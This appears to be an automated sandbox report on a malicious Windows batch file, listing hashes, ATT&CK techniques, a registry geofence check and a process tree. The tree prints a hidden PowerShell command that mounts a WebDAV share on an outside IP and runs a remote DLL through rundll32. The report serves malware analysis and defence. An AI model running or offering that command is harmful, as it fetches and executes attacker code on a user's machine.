3039cd5871330de2ec6c85850d19748199a7d0ae7cd5df63c217f258e7cd3ed2

Analysis

max time kernel
148s
max time network
149s
platform
windows10-2004_x64
resource
win10v2004-20240709-en
resource tags

arch:x64arch:x86image:win10v2004-20240709-enlocale:en-usos:windows10-2004-x64system
submitted
13/07/2024, 16:19

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General

Target

983630584246617216.bat
Size

2KB
MD5

289b0c35792321488b28167cebc30725
SHA1

3ca70b467d74f9a1644b97a3a71bd9d91c53461d
SHA256

3039cd5871330de2ec6c85850d19748199a7d0ae7cd5df63c217f258e7cd3ed2
SHA512

f3ba5d7b2cc14644540558403ca271a2f16ac458fcb345018e1ce66e30d578a40b5b0bb6fd7fe6e506a4e7a9d885de22f2a32a0952850b8cfb318ab9a11be1f5

Score

8^/10

execution

Malware Config

Signatures

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
4064	powershell.exe

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-1176886754-713327781-2233697964-1000\Control Panel\International\Geo\Nation	cmd.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082
Runs net.exe

Suspicious behavior: EnumeratesProcesses 2 IoCs

pid	Process
4064	powershell.exe
4064	powershell.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	4064	powershell.exe

Suspicious use of SetWindowsHookEx 5 IoCs

pid	Process
3804	wordpad.exe
3804	wordpad.exe
3804	wordpad.exe
3804	wordpad.exe
3804	wordpad.exe

Suspicious use of WriteProcessMemory 8 IoCs

description	pid	Process	procid_target
PID 2988 wrote to memory of 3804	2988	cmd.exe	84
PID 2988 wrote to memory of 3804	2988	cmd.exe	84
PID 2988 wrote to memory of 4064	2988	cmd.exe	86
PID 2988 wrote to memory of 4064	2988	cmd.exe	86
PID 4064 wrote to memory of 4928	4064	powershell.exe	88
PID 4064 wrote to memory of 4928	4064	powershell.exe	88
PID 4064 wrote to memory of 2732	4064	powershell.exe	89
PID 4064 wrote to memory of 2732	4064	powershell.exe	89

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\983630584246617216.bat"
1⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:2988
- C:\Program Files\Windows NT\Accessories\wordpad.exe
  "C:\Program Files\Windows NT\Accessories\wordpad.exe"
  2⤵
  - Suspicious use of SetWindowsHookEx
  PID:3804
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -windowstyle hidden net use \\45.9.74.32@8888\davwwwroot\ ; rundll32 \\45.9.74.32@8888\davwwwroot\4121.dll,entry
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:4064
- - C:\Windows\system32\net.exe
    "C:\Windows\system32\net.exe" use \\45.9.74.32@8888\davwwwroot\
    3⤵
    PID:4928
- - C:\Windows\system32\rundll32.exe
    "C:\Windows\system32\rundll32.exe" \\45.9.74.32@8888\davwwwroot\4121.dll,entry
    3⤵
    PID:2732

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k PrintWorkflow -s PrintWorkflowUserSvc
1⤵
PID:4368

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

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Downloads

C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_upmpp25l.t0a.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
memory/4064-9-0x0000011FDEA30000-0x0000011FDEA52000-memory.dmp

Filesize
136KB

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